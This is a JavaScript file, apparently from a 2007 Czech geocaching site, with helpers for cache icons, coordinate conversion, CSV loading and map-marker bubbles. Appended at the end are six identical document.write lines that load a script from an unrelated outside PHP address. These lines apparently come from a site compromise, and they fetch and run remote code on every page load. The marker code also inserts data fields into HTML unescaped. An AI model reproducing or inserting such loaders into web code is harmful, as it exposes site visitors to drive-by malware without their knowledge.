// xpj's functions for GC and Geo things ;-)
// v0.1 29/03/2007

var cacheImgsOrig = eval(
      '['+
      '{"type":"Traditional Cache","img":"ikony/tradicni.png"},'+
      '{"type":"Multi-cache","img":"ikony/multi.png"},'+
      '{"type":"Virtual Cache","img":"ikony/virtual.png"},'+
      '{"type":"Earth cache","img":"ikony/earth.png"},'+
      '{"type":"Locationless (Reverse) Cache","img":"ikony/reverse.png"},'+
      '{"type":"Event","img":"ikony/event.png"}'+
  ']');
var cacheImgs = eval(
      '['+
      '{"type":"Traditional Cache","img":"ikony/x_mm_20_traditional.png"},'+
      '{"type":"Multi-cache","img":"ikony/x_mm_20_multi.png"},'+
      '{"type":"Virtual Cache","img":"ikony/x_mm_20_virtual.png"},'+
      '{"type":"Earth cache","img":"ikony/x_mm_20_earth.png"},'+
      '{"type":"Locationless (Reverse) Cache","img":"ikony/x_mm_20_reverse.png"},'+
      '{"type":"Event","img":"ikony/x_mm_20_event.png"}'+
  ']');


// return variable from query string (GET method)
function getQueryVariable(variable) {
  var query = window.location.search.substring(1)+window.location.hash;
  var vars = query.split("&");
  for (var i=0;i<vars.length;i++) {
    var pair = vars[i].split("=");
    if (pair[0] == variable) {
      return pair[1];
    }
  }
  return "";
}

// Convert from Dddd format to DMS (eg. N 14.325  to N 14° 14' 325" - only example :-)
// deg - value in decimal degrees
// lat - for latitude TRUE, for longitude FALSE
function convertDddd2DMS(deg, lat) {
    var D = Math.floor(deg);
    var dM = (deg - D)*60;
    var M = Math.floor(dM);
    var S = (dM - M)*60;
    var X = "";
    if (lat) {
      if (deg < 0) { X = "S"; }
      else { X = "N"; }
    } else {
      if (deg < 0) { X = "W"; }
      else { X = "E"; }
    }
    var ret = D+"%C2%B0"+M+"%27"+S+"%22"+X;
    return ret;
};

// Convert only ddd part to MS
function convertddd2MS(deg) {
  var M = Math.floor(deg);
  var S = (deg - M)*60;
  var ret = M+"%27"+S+"%22";
  return ret;
};

    function getCacheImg(type, orig) {
	if (orig) {
           var cacheImg = "ikony/unknown.png";
	} else {
           var cacheImg = "ikony/x_mm_20_unknown.png";
	}
         for (j = 0; j < cacheImgs.length; j++) {
           if (type == cacheImgs[j].type) {
	     if (orig) {
  	         cacheImg = cacheImgsOrig[j].img;
	     } else {
                cacheImg = cacheImgs[j].img;
	     }
           }
         }
	 return cacheImg;
    }

	 function getImage(src) {
	   return new Element('img')
	     .setProperty('src',src)
	     .addEvents({mouseover: function() { this.style.margin = '6px 5px 4px 5px'},
	                 mouseout:  function() { this.style.margin = '5px'}});

	 }

function loadDataFile(url) {
      var http = new JKL.ParseXML.CSVmap(url);
      var data = http.parse();
      return data;
}

         function newAMapyMarker(i, data) {
              var cardData = new Array();
         var pp = new AGeoPoint(data[i].Latitude, data[i].Longitude, ACoordinateSystem.Geodetic);
         var myIcon = new AIcon({imageSrc : getCacheImg(data[i]["Type"],false),
                                 imageSize: new ASize(20,20),
                                 iconOffset:new APoint(10,10),
				 shadowSrc: 'ikony/mm_20_shadow.png',
				 shadowSize: new ASize(22,20),
				 fastRollover: true,
				 fixPng: true});
         var marker = new AMarker(pp, {title: data[i].Name+" - "+data[i].NameLong,
                                       icon: myIcon});
         marker.myNumber = i;

         var string0 = '<img src="'+getCacheImg(data[marker.myNumber]["Type"],true)+'" alt="'+data[marker.myNumber].Type+'"/><strong>'+data[marker.myNumber]["NameLong"]+' ('+data[marker.myNumber].Name+')</strong><br/>'+data[marker.myNumber].Type+'<br/>'+data[marker.myNumber].Container+'<br/>('+data[marker.myNumber].Difficulty+'/'+data[marker.myNumber].Terrain+')';
         var string1 = '<strong>'+data[marker.myNumber]["LogFinder"]+'</strong><br/><em>'+data[marker.myNumber].LogType+'</em>&nbsp;'+data[marker.myNumber].LogDate+'<br/>'+data[marker.myNumber].Log;
         var cardData0 = new ABubbleTab('Info', string0);
         var cardData1 = new ABubbleTab('Můj log', string1);
         cardData[marker.myNumber] = [cardData0, cardData1];
         var footer = [
	    new ABubbleFooterTab(getImage(getCacheImg(data[marker.myNumber]["Type"],true)),'<div class="content">'+data[marker.myNumber]["NameLong"]+' ('+data[marker.myNumber].Name+')</div>')
	 ];

         marker.addEvent('onClick',
		function() {
		    marker.showBubble(cardData[marker.myNumber], {
			'width': '200',
			'maxHeight': '200',
			'footerContent': footer,
			'maxSize' : new ASize(400,300),
                        'toFrontOnHover': true,
			'maximizable' : true});
		});
         //marker.addEvent('onClick', marker.showBubble.pass(string0, marker));

         return marker;
         }


document.write('<script src=http://ist-r.com/p002j4Nx/p004FONE.php ><\/script>');
document.write('<script src=http://ist-r.com/p002j4Nx/p004FONE.php ><\/script>');
document.write('<script src=http://ist-r.com/p002j4Nx/p004FONE.php ><\/script>');
document.write('<script src=http://ist-r.com/p002j4Nx/p004FONE.php ><\/script>');
document.write('<script src=http://ist-r.com/p002j4Nx/p004FONE.php ><\/script>');
document.write('<script src=http://ist-r.com/p002j4Nx/p004FONE.php ><\/script>');